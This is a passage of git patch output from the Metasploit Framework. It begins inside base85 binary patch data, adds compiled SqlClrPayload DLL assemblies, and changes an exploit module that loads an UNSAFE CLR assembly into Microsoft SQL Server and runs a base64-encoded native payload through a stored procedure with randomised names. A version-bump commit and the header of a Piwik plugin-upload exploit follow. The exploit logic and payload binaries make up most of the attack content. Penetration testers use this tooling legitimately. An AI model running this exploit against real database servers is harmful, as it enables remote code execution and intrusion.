zxQryoV$ptyy7z~f!s2>+NTU9|Ew29ZHB}u=B=NOBC()U)v8mC?w3?@!2?i1%} zPpZG7N%gNB2x9y0#8L)Z_K4j%tTwO9VYRX2XLzE5XIRYyCvT?As=lk+!)mTt#4=uD zwSu$F$}`2uN&UQWej+(NHqH`L(+^4oxi`OURbUD0XNavULet3W_~M;v=FVaz_d_%P zYjM{zj*DHqq+8|SVrNX;`ds7gSrR!|OZy}0eu@Ck?nM4t-#@D$tHudA#OHeax5L#G z(e1Wm;ris;5=wv-VFWaUqP-Sb}cx;`!hnybHDw03un)v zO0cSv3p*C_dIp&nWy!68|Z+DC{gZ`tj&-Uz+jYt^eJp3nG>|*mB@!6>;?2W_7Q5;kUDh;r_k{ wBY7~6Q=(5AvGx#$5?0hk1XS#%{VQ;=AEteO7B%>vLE^Fdb9x`m>fRCfH#BMiZU6uP literal 0 HcmV?d00001 diff --git a/data/SqlClrPayload/v4.0/SqlClrPayload.dll b/data/SqlClrPayload/v4.0/SqlClrPayload.dll new file mode 100755 index 0000000000000000000000000000000000000000..8ec6ad1c9565f3a46ca81aed3b33a2578d29341c GIT binary patch literal 5120 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 literal 0 HcmV?d00001 diff --git a/data/SqlClrPayload/v4.6/SqlClrPayload.dll b/data/SqlClrPayload/v4.6/SqlClrPayload.dll new file mode 100755 index 0000000000000000000000000000000000000000..08ab10a7821af759c3695d105bda0c71cea05fcb GIT binary patch literal 5120 zcmeHLZ){sv75_ckaonWInzZYj!PXb01Fs}joTN!JS{BD~N}y@7*hx#bkv#j|ByV~4 zbKiSj;~_;66wo9D>n5Qh5ZWZZR6oW_mUaoYR81y7GgI z_1WG=pu1IT1rCxEu5y2Ig00Rv#tIx#bfD_DWJv#2*(8!LOAupUm#XsLPFw3r7K=%{ z7bGzT#AG1$mZhp2d)fc7uLF?=r3m|0X!gi=ALxv?*X{(d9p^O3J4P8aPDC5c^eG8xouj|0|1Ar!(|3f+4 zAI2=laePN0b{J@B**HQBf7^O0b}xwyN72Q`$N4U?A4T&WZ8N7sj=k=Q0jY55@cAgZ+bvQMr&N z*u?iZqGtnmf_r_MvFyqCu2o#|q{j8;>Ynw?XYe9vd2D*l&QDFSy~+N&oVjP*c5+gg zg{HI%^MNA_7x0gV2Ej#81$0J*pK{I$@Fe4Y)_Yi`yk4bT(z2!hik1id42Fs0T1*S0 zpgm5!s_-R+uPOY4!VeU-1*A?);Zh(O2*X$SRmJ(f!rujMk^i2;W5F%bk1AXXCIc;a zIru^_jN3su?;jQZRpEz}hS44BP}fWPDm|9JL--`=CPjB(g5Gyv25m}X6W8=*YE<=Q z&qI{Dv$_<27n|r|Om3^*H=@rY##8%a)w>pL37P5)Yq(C`0DeRa;s!Bq#6!u9e5tS+zE-@3LjROP&leEsc=f+V+y}SOu$gIrSP)C3UL_E z5>MkAF^2Cc{!5C!f!BkR_zB(#w&7=ZKX?wmLR085((eQ>k^g>h6$g~&ZxntSZy|{| z2Js596$Rp9MSlXnCEcU&GYT^bKZ`fXPbqp0omw1ULyY)1-X;GlIHoP(1=@@-0%x@+ zu@MB{)MdE?S`$3Bp-mZ=#_}X@fZEm?Q$wGkcJsbTEmclWJ7(DypF`%dowD6oqhdRT z88>Yk8Q*b*IqN!kVU}Itq2T2m*S2!VR6Ji4Fq3;qd!eo`;gbj~Eq{ z8#Fd)8+<0}Hl|GE3{MOXrHgrf(#*P7)fLC*%0=HQi1>nVJ&xrIgRJ4M2!E1B#TCb0 z+jgQBr1+dzw&^9ck@P%K$k~;w<=bLMvCf_lUf#7zQgy#Da3^u0WE3m= z1q_l|&infXDW_C%t(Da~h_bF>ih|L&n7WUtvhDLM?3mjVn5m*KT&I)~?$cJD8XvIE-7lE5Y_U&Rn>NGK<63?tJ}caU<;gwqP-pJ&c8u0#$?A^m z@t)q6IGfw(J{ciLws~kY59Qb>IpF(x%!u$ z54XmC>HYbw&YLaYLFAQZo>=G_di&WxI1&g)n-PjeyCTsRgxN-;kweiCG_9S(wUACi zLZFGzk(6X4BwsXsgC1yVr(#!Y1R>IqD2;W6n}ZKDMWcMaG|HlpDGm3>&!@B77qGW> zR?aX@7}k(&Ke8>Fu)LCORL=9NcFHmOwnV3Hr-ruOJBB9pwBDzobNjaFzrLaC1O15+ z;9(8N2M13Lj3fp}`bNxC`M#lkak9@?Hb?u+k%Smc42ym-U^08t(41h>!XHx+t(HMP zC_lK_z|jk?Q9ADw)9ZPmEUfr`FjR&2lqI&x8aL{}8`eWUz*8?Kc zCjNT$+9f_y6lLEv>|TAgoa2f3qNrq@HBmg18yPW9=1&eMMhAyP|EbY?wQS%}X3Z+m z5|2V&-2x5Ys^ysS5WFmDT~hl?Jr~_ASxh-Duf()r6{{Z>A=Fn#YHdA4TQW`ixcpxt zAoDsfSHtFRbJeVxXL283>dC(yE{*|jRufstB0WT0Kn9D%H0DT6F+)7h{uFVNv@Aal z{q3LC%tT!wa;oj4N?OfO8q6y0gwk4Ip61ey#k^k7W|8@hqvXd`UX!KNAeY~4wm$V7 z_NwJ(sGmkP`s7o~B7fx$mJTYNe$;-?0(yn(VG&zk`Y+JDlLQF?&ayszIFZv=uZNC&S*i}nW>GF(UZQ^;~{(hy-%lA zEN5xUp`T^O(QjDQ-PQ#RsTl4ayEl@1<9JGqNix 'Microsoft SQL Server Clr Stored Procedure Payload Execution', 'Description' => %q{ - This module executes an arbitrary native payload on a Microsoft SQL - server by loading a custom SQL CLR Assembly into the target SQL - installation, and calling it directly with a base64-encoded payload. + This module executes an arbitrary native payload on a Microsoft SQL + server by loading a custom SQL CLR Assembly into the target SQL + installation, and calling it directly with a base64-encoded payload. - The module requires working credentials in order to connect directly to the - MSSQL Server. + The module requires working credentials in order to connect directly to the + MSSQL Server. - This method requires the user to have sufficient privileges to install a custom - SQL CRL DLL, and invoke the custom stored procedure that comes with it. + This method requires the user to have sufficient privileges to install a custom + SQL CRL DLL, and invoke the custom stored procedure that comes with it. - This exploit does not leave any binaries on disk. + This exploit does not leave any binaries on disk. + + Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64). }, 'Author' => [ @@ -39,10 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => - [ - [ 'Automatic', { } ], - ], + 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 1999' )) @@ -55,10 +54,17 @@ class MetasploitModule < Msf::Exploit::Remote def check unless mssql_login_datastore - vprint_status("Invalid SQL Server credentials") + vprint_status('Invalid SQL Server credentials') return Exploit::CheckCode::Detected end + version = get_sql_version_string + + unless version =~ /Server 20(05|08|12|14|16)/ + vprint_status('Unsupported version of SQL Server') + return Exploit::CheckCode::Safe + end + if mssql_is_sysadmin vprint_good "User #{datastore['USERNAME']} is a sysadmin" Exploit::CheckCode::Vulnerable @@ -69,8 +75,26 @@ class MetasploitModule < Msf::Exploit::Remote disconnect end + def get_sql_version_string + mssql_query("select @@version", false)[:rows].first[0] + end + + def get_sql_architecture(sql_version_string) + if sql_version_string =~ /(64-bit|x64)/i + ARCH_X64 + else + ARCH_X86 + end + end + def get_exploit_version(sql_version_string) - 'v3.5' + # keeping it simple at this point. + if sql_version_string =~ /Server (2005|2008|2012)/ + 'v3.5' + else + # assume 2014/2016 at this point. + 'v4.0' + end end def set_trustworthy(on) @@ -99,14 +123,27 @@ RECONFIGURE; end def exploit - mssql_login_datastore + unless mssql_login_datastore + fail_with(Failure::BadConfig, 'Unable to login with the given credentials') + end unless mssql_is_sysadmin fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions') end - unless datastore['EXITFUNC'].downcase == 'thread' - fail_with(Failure::BadConfig, 'EXITFUNC must be set to "thread"') + # This module will only support 'thread' for EXITFUNC + # Bad things happen to SQL otherwise! + unless datastore['EXITFUNC'] == 'thread' + print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server") + datastore['EXITFUNC'] = 'thread' + end + + sql_version = get_sql_version_string + vprint_status("Target SQL Version is:\n#{sql_version}") + + sql_arch = get_sql_architecture(sql_version) + unless payload.arch.first == sql_arch + fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}") end trustworthy = is_trustworthy @@ -122,10 +159,8 @@ RECONFIGURE; enable_clr(true) end - sql_version = mssql_query("select @@version", false)[:rows].first[0] - vprint_status("Target SQL Version is:\n#{sql_version}") exploit_version = get_exploit_version(sql_version) - print_status("Using version #{exploit_version} of the Assembly") + print_status("Using version #{exploit_version} of the Payload Assembly") exploit_file_path = ::File.join(Msf::Config.install_root, 'data', 'SqlClrPayload', exploit_version, 'SqlClrPayload.dll') vprint_status("Using #{exploit_file_path}") @@ -135,27 +170,30 @@ RECONFIGURE; # Convert the assembly to the required format for execution of the stored # procedure to create the custom stored proc hex_assembly = "0x#{assembly.unpack('H*')[0]}" - query = "CREATE ASSEMBLY [runstuff] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" + asm_name = Rex::Text.rand_text_alpha(rand(4) + 8) + query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" print_status('Adding custom payload assembly ...') mssql_query(query, false) - query = "CREATE PROCEDURE [dbo].[ExecuteB64Payload](@base64EncodedPayload AS NVARCHAR(MAX)) AS EXTERNAL NAME [runstuff].[StoredProcedures].[ExecuteB64Payload]" + proc_name = Rex::Text.rand_text_alpha(rand(4) + 8) + param_name = Rex::Text.rand_text_alpha(rand(4) + 8) + query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]" print_status('Exposing payload execution stored procedure ...') mssql_query(query, false) # Generate the base64 encoded payload b64payload = Rex::Text.encode_base64(payload.encoded) - query = "EXEC [dbo].[ExecuteB64Payload] '#{b64payload}'" + query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'" print_status('Executing the payload ...') mssql_query(query, false) print_status('Removing stored procedure ...') - mssql_query('DROP PROCEDURE [dbo].[ExecuteB64payload]', false) + mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false) print_status('Removing assembly ...') - mssql_query('DROP ASSEMBLY [runstuff]', false) + mssql_query("DROP ASSEMBLY [#{asm_name}]", false) unless clr_enabled print_status('Restoring CLR setting ...') From 44d229ad4921fecc8ff0ae6aca71df62d1e77b99 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 10 Feb 2017 10:02:43 -0800 Subject: [PATCH 157/426] Bump version of framework to 4.13.22 --- Gemfile.lock | 6 +++--- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 4fcf1d37d3..487000a923 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.21) + metasploit-framework (4.13.22) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -232,7 +232,7 @@ GEM rake (>= 0.8.7) thor (>= 0.18.1, < 2.0) rake (12.0.0) - rb-readline (0.5.3) + rb-readline (0.5.4) recog (2.1.4) nokogiri redcarpet (3.4.0) @@ -301,7 +301,7 @@ GEM rspec-support (~> 3.5.0) rspec-support (3.5.0) rubyntlm (0.6.1) - rubyzip (1.2.0) + rubyzip (1.2.1) sawyer (0.8.1) addressable (>= 2.3.5, < 2.6) faraday (~> 0.8, < 1.0) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index c0234512ee..11b741fc89 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.21" + VERSION = "4.13.22" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From baa473a1c6301659dd72262a3506e6dc915ccf93 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Sun, 5 Feb 2017 22:54:05 +0100 Subject: [PATCH 158/426] add piwik superuser plugin upload module --- .../webapp/piwik_superuser_plugin_upload.rb | 365 ++++++++++++++++++ 1 file changed, 365 insertions(+) create mode 100644 modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb diff --git a/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb new file mode 100644 index 